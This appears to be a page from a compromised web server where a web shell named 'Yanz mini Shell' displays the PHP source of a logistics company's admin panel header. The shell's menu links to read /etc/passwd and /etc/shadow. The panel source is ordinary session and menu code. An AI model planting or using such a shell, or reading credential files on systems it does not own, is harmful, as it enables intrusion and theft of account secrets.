Yanz mini Shell

Action

[*] New File
[*] New Folder

Sensitive File

[*] /etc/passwd
[*] /etc/shadow
[*] /etc/resolv.conf

<?php
ob_start();
session_start();
include("inc/config.php");
include("inc/functions.php");
include("inc/custom-functions.php");
include("inc/CSRF_Protect.php");
$csrf = new CSRF_Protect();
$fn = new custom_functions();
$error_message = '';
$success_message = '';
$error_message1 = '';
$success_message1 = '';
$session_user_id = $_SESSION['user']['id']; 
if(!isset($_SESSION['user'])) {
	header('location: login.php');
	exit;
}

if($_SESSION['user']['role']=='Modicare')
{
$clientId=$_SESSION['user']['id'];
$clientLocation=$_SESSION['user']['location'];
$clientType=$_SESSION['user']['role'];
}else
{
$statement = $pdo->prepare("SELECT * FROM `tbl_user` WHERE id=1");
$statement->execute();
$response = $statement->fetchAll(PDO::FETCH_ASSOC);
foreach($response as $res)
{
$clientId=$res['id'];
$clientLocation=$res['location'];
$clientType=$res['role'];
 }
}
$sessionUserId=$_SESSION['user']['id'];
$allPermissions = get_permissions($pdo, $sessionUserId);
$cur_page = substr($_SERVER["SCRIPT_NAME"],strrpos($_SERVER["SCRIPT_NAME"],"/")+1);
$statement = $pdo->prepare("SELECT * FROM tbl_settings WHERE id=1");   
$statement->execute();
$query = $statement->fetchAll(PDO::FETCH_ASSOC);
$totalData = $statement->rowCount();
if($totalData>0){
    $site_name = $query[0]['name'];
    $logo = $query[0]['logo'];
    $favicon = $query[0]['favicon'];
    $short_name = $query[0]['short_name'];
}
$currentMonth = date('m');
$currentYear = date('Y');
$startMonthDate = date('Y-m-01', strtotime("$currentYear-$currentMonth-01"));
$endMonthDate = date('Y-m-t', strtotime("$currentYear-$currentMonth-01"));

$border_style='style="box-shadow: rgba(0, 0, 0, 0.19) 0px 10px 20px, rgba(0, 0, 0, 0.23) 0px 6px 6px;"';
?>

<!DOCTYPE html>
<html>
<head>
	<meta charset="utf-8">
	<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<title>Venus Cargo</title>

</style>

<nav class="navbar navbar-static-top">
				
				<a href="#" class="sidebar-toggle" data-toggle="offcanvas" role="button">
					Toggle navigation
				</a>

<?php if($_SESSION['user']['role']=='Admin'){ echo 'Admin Panel'; }else{ echo 'Client Panel'; } ?>

<div class="navbar-custom-menu">
					<ul class="nav navbar-nav">
						<li class="dropdown user user-menu">
							<a href="#" class="dropdown-toggle" data-toggle="dropdown">
								<img src="../assets/uploads/<?php echo $_SESSION['user']['photo']; ?>" class="user-image" alt="User Image">
								<?php echo $_SESSION['user']['full_name']; ?>
							</a>
							<ul class="dropdown-menu">
								<li class="user-footer">
									<div>
										<a href="profile-edit.php" class="btn btn-default btn-flat">Edit Profile</a>
									</div>
									<div>
										<a href="logout.php" class="btn btn-default btn-flat">Log out</a>
									</div>
								</li>
							</ul>
						</li>
					</ul>
				</div>

</nav>
		</header>
</div>

<aside class="main-sidebar">
 		<section class="sidebar">
 
 			<ul class="sidebar-menu">
 
			 <li class="treeview <?php if($cur_page == 'index.php') {echo 'active';} ?>">
			 <a href="index.php">
			 Dashboard 
			 </a>
			 </li>
			 
			 <li class="treeview" >
					 <a href="#"> Master
							
								
							
						</a>
						<ul class="treeview-menu">
 <li class="treeview <?php if( $cur_page == 'company.php' || $cur_page == 'pincode.php' || $cur_page == 'pickup_points_list.php' || $cur_page == 'branch-list.php' || $cur_page == 'user.php' || $cur_page == 'customer.php' || $cur_page == 'transport.php' || $cur_page == 'delivery_man.php') {echo 'active';} ?>">
 						<a href="#">
 							
 							Booking Master
 							
 								
 							
 						</a>
 						<ul class="treeview-menu">
 						<?php if($allPermissions['client']['read']=="1"){ ?><li <?php if( ($cur_page == 'company.php') ) {echo 'class="active"';} ?>><a href="company.php"> Company Information</a></li><?php } ?>
 						<?php if($allPermissions['client']['read']=="1"){ ?><li <?php if( ($cur_page == 'pincode.php') ) {echo 'class="active"';} ?>><a href="pincode.php"> Pincode </a></li><?php } ?>
 						<?php if($allPermissions['client']['read']=="1"){ ?><li <?php if( ($cur_page == 'branch-list.php') ) {echo 'class="active"';} ?>><a href="branch-list.php"> Branch</a></li><?php } ?>
 						<?php if($allPermissions['client']['read']=="1"){ ?><li <?php if( ($cur_page == 'client-new.php') ) {echo 'class="active"';} ?>><a href="client-new.php"> Client</a></li><?php } ?>
 						<?php if($allPermissions['client']['read']=="1"){ ?><li <?php if( ($cur_page == 'user.php') ) {echo 'class="active"';} ?>><a href="user.php"> Consignor</a></li><?php } ?>
 						<?php if($allPermissions['client']['read']=="1"){ ?><li <?php if( ($cur_page == 'customer.php') ) {echo 'class="active"';} ?>><a href="customer.php"> Consignee</a></li><?php } ?>
 						<?php if($allPermissions['client']['read']=="1"){ ?><li <?php if( ($cur_page == 'co-loader.php') ) {echo 'class="active"';} ?>><a href="co-loader.php"> Coloader</a></li><?php } ?>
 						<?php if($allPermissions['client']['read']=="1"){ ?><li <?php if( ($cur_page == 'delivery_man.php') ) {echo 'class="active"';} ?>><a href="delivery_man.php"> Delivery Boy</a></li><?php } ?>
 						<?php if($allPermissions['client']['read']=="1"){ ?><li <?php if( ($cur_page == 'pickup_points_list.php') ) {echo 'class="active"';} ?>><a href="pickup_points_list.php"> Pickup Points</a></li><?php } ?>
 						<?php if($allPermissions['client']['read']=="1"){ ?><li <?php if( ($cur_page == 'transporter-list.php') ) {echo 'class="active"';} ?>><a href="transporter-list.php"> Transporter Details</a></li><?php } ?>
 						<?php if($allPermissions['client']['read']=="1"){ ?><li <?php if( ($cur_page == 'driver-list.php') ) {echo 'class="active"';} ?>><a href="driver-list.php"> Driver</a></li><?php } ?>
 						</ul>
 					</li>
 					<li class="treeview <?php if( $cur_page == 'reason.php') {echo 'active';} ?>">
 						<a href="#">
 							
 							Status Master
 							
 								
 							
 						</a>
 						<ul class="treeview-menu">
 						 <?php if($allPermissions['client']['read']=="1"){ ?><li <?php if( ($cur_page == 'status.php') ) {echo 'class="active"';} ?>><a href="status.php"> Status</a></li><?php } ?>
 						<?php if($allPermissions['client']['read']=="1"){ ?><li <?php if( ($cur_page == 'reason.php') ) {echo 'class="active"';} ?>><a href="reason.php"> Reason</a></li><?php } ?>
 						<?php if($allPermissions['client']['read']=="1"){ ?><li <?php if( ($cur_page == 'transport.php') ) {echo 'class="active"';} ?>><a href="transport.php"> Mode</a></li><?php } ?>
 						<?php if($allPermissions['client']['read']=="1"){ ?><li <?php if( ($cur_page == 'material-type.php' || $cur_page == 'material-type-list.php') ) {echo 'class="active"';} ?>><a href="material-type-list.php"> Material Type</a></li><?php } ?>
 						</ul>
 					</li>
				
					
 					<li class="treeview <?php if( $cur_page == 'zone-list.php' || $cur_page == 'generate-zone-list.php' || $cur_page == 'client-rate-entry.php') {echo 'active';} ?>">
 						<a href="#">
 							
 							Billing Master 
 							
 								
 							
 						</a>
 						<ul class="treeview-menu">
 						<?php if($allPermissions['client']['read']=="1"){ ?><li <?php if( ($cur_page == 'zone-list.php') ) {echo 'class="active"';} ?>><a href="zone-list.php"> Zone Master </a></li><?php } ?>
 						<?php if($allPermissions['client']['read']=="1"){ ?><li <?php if( ($cur_page == 'generate-zone-list.php') ) {echo 'class="active"';} ?>><a href="generate-zone-list.php"> Generate Zone </a></li><?php } ?>
 						<?php if($allPermissions['client']['read']=="1"){ ?><li <?php if( ($cur_page == 'client-rate-entry.php') ) {echo 'class="active"';} ?>><a href="client-rate-entry.php"> Rate Entry </a></li><?php } ?>
 						</ul>
 					</li>
			
						</ul>
					</li>
			 
			 
			 
			 <li class="treeview <?php if( $cur_page == 'ftl-booking-list.php' || $cur_page == 'ftl-booking-add.php') {echo 'active';} ?>">
						<a href="#">
							
							 &nbsp;Booking
							
								
							
						</a>
						<ul class="treeview-menu">
						<?php if($allPermissions['client']['read']=="1"){ ?><li <?php if( ($cur_page == 'booking-list.php') ) {echo 'class="active"';} ?>><a href="booking-list.php"> Transaction Booking</a></li><?php } ?>
						<?php if($allPermissions['client']['read']=="1"){ ?><li <?php if( ($cur_page == 'ftl-booking-list.php') ) {echo 'class="active"';} ?>><a href="ftl-booking-list.php"> FTL Booking </a></li><?php } ?>
						
						<?php if($allPermissions['pickupentry']['read']=="1"){ ?><li <?php if( ($cur_page == 'booking-bulk-upload.php') ) {echo 'class="active"';} ?>><a href="booking-bulk-upload.php"> Booking Bulk Upload</a></li><?php } ?>
						</ul>
					</li>
					
					<li class="treeview" >
					 <a href="#"> Transaction
							
								
							
						</a>
						<ul class="treeview-menu">
 <li class="treeview <?php if($cur_page == 'incoming-manifest-list.php' || $cur_page == 'incoming-manifest.php' || $cur_page == 'outgoing-manifest.php' ) {echo 'active';} ?>">
 						<a href="#">
 							
 							Manifest
 							
 								
 							
 						</a>
 						<ul class="treeview-menu">
 						<?php if($allPermissions['client']['read']=="1"){ ?><li <?php if( ($cur_page == 'incoming-manifest-list.php' || $cur_page == 'incoming-manifest.php') ) {echo 'class="active"';} ?>><a href="incoming-manifest-list.php"> Incoming Manifest</a></li><?php } ?>
 						<?php if($allPermissions['client']['read']=="1"){ ?><li <?php if( ($cur_page == 'outgoing-manifest-list.php' || $cur_page == 'outgoing-manifest-list.php') ) {echo 'class="active"';} ?>><a href="outgoing-manifest-list.php" > Out Going Manifest </a></li><?php } ?>
 						
 						</ul>
 					</li>
 					<li class="treeview <?php if( $cur_page == 'delivery-run-sheet.php' || $cur_page == 'shipment_tracking.php' || $cur_page == 'delivery-status-update-page.php') {echo 'active';} ?>">
 						<a href="#">
 							
 							DRS
 							
 								
 							
 						</a>
 						<ul class="treeview-menu">
 						 
 						 <?php if($allPermissions['client']['read']=="1"){ ?>
 						 <li <?php if( ($cur_page == 'delivery-run-sheet.php') ) {echo 'class="active"';} ?>><a href="delivery-run-sheet.php"> DRS</a></li>
 						 <?php } ?>
 						 
 						<?php if($allPermissions['client']['read']=="1"){ ?>
 						 <li <?php if( ($cur_page == 'shipment_tracking.php') ) {echo 'class="active"';} ?>><a href="shipment_tracking.php"> Tracking </a></li>
 						 <?php } ?>
 						 
 						<?php if($allPermissions['client']['read']=="1"){ ?>
 						 <li <?php if( ($cur_page == 'delivery-status-update-page.php') ) {echo 'class="active"';} ?>><a href="delivery-status-update-page.php"> Delivery Status </a></li>
 						 <?php } ?>
 						
 						</ul>
 					</li>
				 <?php if($allPermissions['client']['read']=="1"){ ?><li <?php if( ($cur_page == 'list_pod.php') ) {echo 'class="active"';} ?>><a href="list_pod.php"> POD Entry</a></li><?php } ?>
					
 				
			
						</ul>
					</li>
					
					
					
					
					
					
					
			 
			 
		
	 
	 <?php if($allPermissions['reports']['read_delivered']=="1"){ ?>
			 
		<?php }?>
	 
	 
	 
		 <?php if($allPermissions['reports']['read_delivered']=="1"||$allPermissions['reports']['read_total']=="1"||$allPermissions['reports']['read_client']=="1"||$allPermissions['reports']['read_day']=="1"){ ?>
			 <li class="treeview <?php if( ($cur_page == 'total-report.php') || ($cur_page == 'client-wise-report.php')|| ($cur_page == 'delivery-report.php')|| ($cur_page == 'rto-report.php')|| ($cur_page == 'day-wise-report.php') ) {echo 'active';} ?>">
						<a href="#">
							
							&nbsp; Reports 
							
								
							
						</a>
						<ul class="treeview-menu">
 <?php if($allPermissions['reports']['read_total']=="1"){ ?><li><a href="total-report.php"> Total Report</a></li><?php }?>
 <?php if($allPermissions['reports']['read_client']=="1"){ ?><li><a href="client-wise-report.php"> Client wise Report</a></li> <?php }?>
 <?php if($allPermissions['reports']['read_delivered']=="1"){ ?><li><a href="delivery-report.php"> Delivered Report</a></li><?php }?>
 <?php if($allPermissions['reports']['read_day']=="1"){ ?><li><a href="day-wise-report.php"> Day wise Report</a></li><?php }?>
						</ul>
					</li>
					<?php }?>	 
			 
			 
			 
			 
			 
			 
			 
			 
			 
			 
			 
			 
			 
			 
			 
			 
			 
			 
			 
			 
			 
			 
			 
			 
			
			 
			 
			 
			 <?php if($allPermissions['userManagement']['read']=="1"){ ?>
			 <li class="treeview <?php if( ($cur_page == 'delivery.php') ||($cur_page == 'modicare-pickup-entry-add.php') ) {echo 'active';} ?>">
						<a href="#">
							
					 User Management 
							
								
							
						</a>
						<ul class="treeview-menu">
						 <li><a href="manageEditors.php">Users</a></li>
							<li><a href="userRoles.php">Roles</a></li>
						</ul>
					</li>
			 <?php }?>
 
					
					
					
					
					 <?php if($allPermissions['backup']['read']=="1"){ ?>
					<li class="treeview <?php if( ($cur_page == 'admin-backup.php') ) {echo 'active';} ?>">
			 <a href="admin-backup.php">
			 Administrator Backup
			 </a>
			 </li>
			 <?php }?>
 			</ul>
 		</section>
 		</aside>
 		
<?php 
// ********************** Common variable Declaration ****************************
$awb_variable="AWB-";